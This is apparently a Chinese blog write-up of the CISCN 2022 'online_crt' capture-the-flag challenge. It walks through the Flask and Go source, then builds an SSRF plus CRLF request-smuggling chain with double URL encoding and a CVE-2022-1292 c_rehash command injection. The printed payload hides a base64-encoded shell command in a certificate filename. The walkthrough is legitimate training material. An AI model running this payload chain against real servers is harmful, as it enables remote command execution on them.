[CISCN 2022 初赛]online_crt

CISCN 2022 初赛online_crt

  • 知识点:SSRF、CVE-2022-1292

1.信息收集

拿到源码后,发现是go和python一起组合成的后端系统,同时可以看出本题的业务是生成ssl证书文件的功能。我们先从flask开始分析,下面只挑函数来分析

python 复制代码
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    ) #key的生成位置,和输入无关
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend()) #会根据输入内容和刚刚的内容生成一串信息
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" #随机名称(uuid),存放位置是static/crt/
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM)) #根据刚刚的内容写入证书信息
    return crt_name

拿uuid来生成文件名的函数,在/getcrt下可以触发,同时会回显文件名

python 复制代码
@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data) 

有危险函数os.popen,可执行程序为c_rehash,这是整个文件唯一一个命令执行的入口

python 复制代码
@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

一个内网通信服务,这个8887这个数字先记住,估计是在go编写的后端那里还会有这个数字出现。这里有个坑啊,就是他是从form里面获取uri的,也就是post里面的body而不是?uri=xxx这种形式,但是请求方式还是get,我们需要改成post传参然后把POST改成GET即可。

go 复制代码
package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

找到了flask和8887这个端口通信的原因,根目录没啥含义,如果我们是和/admin/rename通信的话,并且c.Request.Host=admin,就能触发刚刚的证书改名业务

2.查找漏洞

做到这里我们就要去搜搜刚刚发现的命令执行是怎么被触发的,https://blog.csdn.net/qq_65010029/article/details/145919402这个博客提供的CVE-2022-1292刚好是我们需要的,归根结底就是通过构造恶意证书文件名即触发rce,那就和我们刚刚的思路串起来了

创建证书->和8887通信->修改证书名->访问/createlink构造rce

3.构造漏洞

创建证书

首先我们随意创建一个证书,然后在路由下获得他的文件名,拿我的来举例

复制代码
static/crt/adfac016-8456-498d-9a77-cb08a5ef9aa3.crt

和8887通信

首先生成payload(用网上师傅的代码https://www.nssctf.cn/note/set/3018)

python 复制代码
import urllib.parse
uri = '''/admin%2frename?oldname=9d00f805-2d21-471c-be2b-c9b27f64163d.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

得到的是一个二次url编码的伪报文,进入go后端本身需要一层解码,之后还有一层解码即可绕过RawPath特性。

之后就是在proxy路由下去请求

复制代码
GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28014
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 320

uri=/admin%252frename%3Foldname%3Dadfac016-8456-498d-9a77-cb08a5ef9aa3.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close

出现新文件名代表改名成功

获取flag

访问/createlink这个路由后,我们就可以在static/crt/目录下获取flag了

相关推荐
Ruiery4 小时前
Linux 6.6内核内存管理深度解析(十八):KASLR 内核地址空间随机化
linux·运维·服务器·安全
mennekes7 小时前
临时用电线路标识:插头颜色、钟面标识配套规范
运维·网络·科技·安全·制造
是真的小外套10 小时前
网络安全实战第7期:Hydra爆破SSH实战
安全·web安全·ssh
jimmyleeee11 小时前
Agent安全之七:当智能体之间开始“互相信任”------深入理解 OWASP ASI07 不安全的智能体间通信
人工智能·安全
卓豪终端管理12 小时前
终端零信任落地实践:应用控制与权限管理的五层管控体系
安全·web安全
深蓝AI12 小时前
一个版本号失守:Claude Code 2.1.313 扩展后门事件,开发者机器如何变成别人的 SSH 入口
安全·程序员
金海星科技12 小时前
从“装摄像头“到“用摄像头管安全“:船舶智能监控的范式变化
安全
jimmyleeee13 小时前
Agent安全之六:(ASI06)记忆与上下文投毒——当 AI 把“昨天的错误”当成“今天的真理”
网络·人工智能·安全
QYR-分析13 小时前
7.0% 年增!新能源汽车 EPB 电机赛道升温,安全执行件的博弈正在底盘上演
安全·汽车
福建佰胜张工15 小时前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化